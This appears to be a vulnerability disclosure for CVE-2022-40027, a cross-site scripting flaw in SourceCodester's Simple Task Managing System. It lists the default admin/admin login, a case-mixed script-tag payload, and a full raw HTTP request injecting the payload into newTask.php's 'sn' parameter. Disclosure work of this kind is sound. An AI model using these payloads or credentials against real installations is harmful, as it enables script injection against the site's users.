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CVE-2022-40027 Simple Task Managing System - XSS

A vulnerability classified as problematic was found in SourceCodester Simple Task Managing System. This vulnerability affects unknown code. The manipulation of the argument newTask.php leads to cross site scripting. The attack can be initiated remotely.

username:admin password:admin ----> {ip}/newTask.php

Supplier: https://www.sourcecodester.com/php/15624/simple-task-managing-system-php-mysqli-free-source-code.html

/board.php has XSS

Payload: "><ScRiPt>alert(1)</sCrIpT>

XSS because $shortName can be closed

image

Payload

GET http://localhost/cve/Task%20Managing%20System%20in%20PHP/newTask.php?sn=%3CsCrIpT%3Ealert(1)%3C/sCrIpT%3E HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=34a9idaoj7m7miduqt31hupisn
Connection: close

image

image